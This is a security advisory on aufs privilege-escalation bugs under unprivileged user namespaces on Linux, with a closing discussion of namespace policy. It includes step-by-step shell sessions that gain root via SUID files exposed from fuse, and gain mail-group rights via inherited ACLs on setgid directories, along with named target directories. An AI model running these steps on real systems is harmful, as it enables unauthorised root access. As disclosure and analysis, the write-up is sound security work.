Problem description:

Aufs is a union filesystem to mix content of different underlying filesystems, e.g. read-only medium with r/w RAM-fs. That is also allowed in user namespaces when module was loaded with allow_userns option. Due to different bugs, aufs in a crafted USERNS allows privilege escalation, which is a problem on systems enabling unprivileged USERNS by default, e.g. Ubuntu Wily. All the issues mentioned here were discovered after performing similar analysis on overlayfs, another USERNS enabled union filesystem.

For a system to be exposed, unprivileged USERNS has to be available and AUFS support enabled for it by loading the aufs module with the appropriate option: modprobe aufs allow_userns.

AUFS Over Fuse: Loss of Nosuid


Fuse filesystem can be mounted by unprivileged users with the help of the fusermount SUID program. Fuse then can simulate files of any type, mode, UID but they are only visible to the user mounting the filesystem and lose all SUID properties. Those files can be exposed using aufs including the problematic SUID properties. The basic exploitation sequence is:

The issue can then be demonstrated using:

test$ mkdir fuse mnt work test$ mv SuidExec RealFile test$ ./FuseMinimal fuse test$ ./UserNamespaceExec -- /bin/bash root$ mount -t aufs -o br=work:fuse none mnt root$ cd mnt # Now cwd of the former process is within the aufs mount. Use # another shell to complete. test$ /proc/2390/cwd/file /bin/bash root$ id uid=0(root) gid=100(users) groups=100(users) # Go back to old shell for cleanup. root$ cd ..; umount mnt; exit test$ fusermount -u fuse


In my opinion, fuse filesystem allowed pretending to have files with different UIDs/GIDs in the local mount namespace, but they never had those properties, those files would have, when really stored on local disk. So e.g., the SUID binaries lost their SUID-properties and the owner could also modify arbitrary file content, even if file attributes were pretending, that he does not have access - by having control over the fuse process simulating the filesystem, such access control is futile. That is also the reason, why no other user than the one mounting the filesystem may have rights to access it by default.

In my optionion the workarounds should be to restrict access to fuse also only to the mount namespace where it was created.

AUFS Xattr Setgid Privilege Escalation


Due to inheritance of Posix ACL information (xattrs) when aufs is copying files and not cleaning those additional and unintended ACL attribues, SGID directories may become user writable, thus allowing to gain privileges of this group using methods described in SetgidDirectoryPrivilegeEscalation. Suitable target directories can be easily found using find / -perm -02020 2> /dev/null. On standard Ubuntu system those are:

/usr/local/lib/python3.4 (root.staff) /var/lib/libuuid (libuuid.libuuid) /var/local (root.staff) /var/mail (root.mail)

Exploitation can be done just combining standard tools with the SetgidDirectoryPrivilegeEscalation exploit.

test$ wget -q test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c test$ gcc -o UserNamespaceExec UserNamespaceExec.c test$ gcc -o SuidExec SuidExec.c test$ mkdir mnt test test$ setfacl -m "d:u:$(id -u):rwx" test test$ ./UserNamespaceExec -- /bin/bash root$ mount -t aufs -o br=test:/var none mnt root$ chmod 07777 mnt/mail root$ umount mnt; exit test$ ./CreateSetgidBinary test/mail/escalate /bin/mount x nonexistent-arg test$ test/mail/escalate ./SuidExec /usr/bin/id uid=1000(test) gid=8(mail) groups=8(mail),100(users)

On Ubuntu, exploitation allows interference with mail spool and allows to gain privileges of other python processes using python dist-packages owned by user root.staff. If root user calls a python process in that way, e.g. via apport crash dump tool, local root escalation is completed.

According to this post, directories or binaries owned by group staff are in the default PATH of the root user, hence local root escalation is trivial.

Results, Discussion

Fixing the issue itself:

As enabling a given file system type to be manipulated by unprivileged users, this will significantly increase attack surface. Thus a USERNS support should not be added frivolously but only after a good security re-audit of the codebase.

Avoiding numerous namespace issues in future:

In my opinion, enabing USERNS was a little too fast, as it exposes a lot of additional kernel code to users without any special capabilities in init-ns by using the elevated privileges within the container. This is also recognized by others, but there is dispute on the consequences to draw from that. See Patch to disable unprivileged userns ... on LKML.

I completely second the request to have options to disable the USERNS layer as it depends on the system type, if USERNS is a net gain regarding security or a net loss. It should be a gain on systems, where it allows to perform critical operations within a containment, a use-case where chroots are used currently. Without USERNS, those operations are likely to be performed with SUID helpers in the init-ns or privilege separation might be dropped completely as the overhead is too large for efficient work procedures.

On the other hand, systems where all processes have similar security level, e.g. as they all process the same data, further privilege separation is not easy. The USERNS support will add only new risks here.


Material, References

Last modified 20171228
Contact e-mail: me (%)